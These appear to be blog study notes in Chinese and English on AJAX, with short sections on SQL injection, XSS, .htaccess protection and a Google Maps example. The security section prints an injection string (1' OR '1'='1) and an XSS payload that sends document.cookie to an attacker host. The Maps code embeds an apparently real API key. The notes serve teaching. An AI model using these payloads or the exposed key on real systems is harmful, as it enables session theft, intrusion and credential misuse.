AJAX = Asynchronous JavaScript And XML

  • How ajax work

    未命名_2016-12-10_17-41-24.png

  • To handle old version of browser (IE 5, IE6)
    var xmlhttp
    if (window.XMLHttpRequest) {
        // code for modern browsers
        xmlhttp = new XMLHttpRequest();
     } else {
        // code for old IE browsers
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    
  • A simple ajax example
    <!DOCTYPE html>
    <html>
    <body>
    
    <div id="demo">
    <h1>The XMLHttpRequest Object</h1>
    <button type="button" onclick="loadDoc()">Change Content</button>
    </div>
    
    <script>
    function loadDoc() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
                document.getElementById("demo").innerHTML =
          this.responseText;
        }
      };
      xhttp.open("GET", "ajax_info.txt", true);
      xhttp.send();
    }
    </script>
    
    </body>
    </html>
    
  • for xhttp.open("GET", "ajax_info.txt", true);
    method description
    open(method, url, async) Specifies the type of request
    method: the type of request: GET or POST
    url: the server (file) location
    async: true (asynchronous) or false (synchronous)
    send() Sends the request to the server (used for GET)
    send(string) Sends the request to the server (used for POST)
  • Ajax 的安全性問題
    • 在伺服器端對伺服器資料庫的攻擊 (SQL injection)
      • 原本網站的登入代碼是
        strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
        
      • 被惡意取代 userName = "1' OR '1'='1";passWord = "1' OR '1'='1";
      • 成為
        strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
        /* 相當於*/
        strSQL = "SELECT * FROM users;"
        
    • 在用戶端對使用者的攻擊 (XSS)
      • 例如在留言板, 如果我們不對輸入做任何檢查, 那麼使用者便可以輸入各種 html 語法, 甚至 javascript 程式
        <table>
          <tr><td> Name: </td><td><a href="<?php echo $URL; ?>"> <?php echo $name; ?> </a></td></tr>
          <tr><td> Message: </td><td><?php echo $message; ?> </td></tr>
        </table>
        

        如果不對輸入做檢查, 則可能

        <table>
          <tr><td> Name: </td><td><a href=""><form action = http://lamHack.com/user.cgiid=hack><input name=cookie type=hidden></form><script>hack.cookie.value=document.cookie;hack_submit();</script></a><a href="http://www.google.com"> I am Hacker </a></td></tr>
        
          <tr><td> Web page: </td></tr>
        </table>
        
  • Ajax 限制
  • 如何突破 Ajax 安全限制
    • 網頁代理
    • 徵詢使用者同意
  • 存取需要帳號密碼的網頁
    • 先選定一個帳號名稱及密碼
    • 在 secure 目錄下建立一個 .htaccess 檔案, 內容如下, 這個檔案會保護整個 secure 目錄下所有的檔案, 包含所有子目錄及子目錄下所有檔案
      AuthUserFile /home/user1/public_html/secure/.htpasswd
      AuthName ""帳號認證, 請輸入帳號密碼"
      AuthTypeBasic
      <Limit GET>
      require valid-user
      </Limit>
      
    • 在上一步驟的 .htaccess 檔中, 我們指定了一個密碼檔, 我們可以把所有的帳號密碼都存放在這個檔案中, 不過首先用以下指令來建立一個新的密碼檔
      • $htpasswd -c .htpasswd test
      • 這個指令會要求使用者輸入密碼, 並建立 .htpasswd 檔, 其中會包含 test 個帳號及密碼, “-c” 參數是要求建立新的密碼檔, 所以應在第一次建立時使用, 如果建立第二或第三個帳號密碼時, 只需要輸入 htpasswd .htpasswd test 即可
    • 要如何使用 XMLHttpRequest 來存取這些保護的檔案?
      open('GET', 'swcure/index.html', true, 'test', 'abc123');
      send('');
      
    • 在 Nginx 使用不同方式來保護

Google map

  • 先取得 google map api key
  • https://console.developers.google.com/apis/library?project=onion-studio&hl=zh-tw
  • 未命名_2016-12-13_12-05-32.png

  • 建立 API 憑證

    未命名_2016-12-13_12-06-58.png

  • 最好限制參照位置, 以免被盜用
    <!DOCTYPE html>
    <html>
      <head>
        <title>Simple Map</title>
        <meta name="viewport" content="initial-scale=1.0">
        <meta charset="utf-8">
        <style>
          html, body {
                  height: 100%;
            margin: 0;
            padding: 0;
          }
          #map {
            height: 100%;
          }
        </style>
      </head>
      <body>
        <div id="map"></div>
        <script>
        var map;
        function initMap() {
          map = new google.maps.Map(document.getElementById('map'), {
            center: {lat: -34.397, lng: 150.644},
            zoom: 8
          });
        }
        </script>
        <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyCYOCnauF_ir3v3x_WyMv9tSgnLNaSCYOw&callback=initMap"
            async defer></script>
      </body>
    </html>
    
Notice: compact(): Undefined variable: limits in /var/www/html/wp-includes/class-wp-comment-query.php on line 853 Notice: compact(): Undefined variable: groupby in /var/www/html/wp-includes/class-wp-comment-query.php on line 853

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *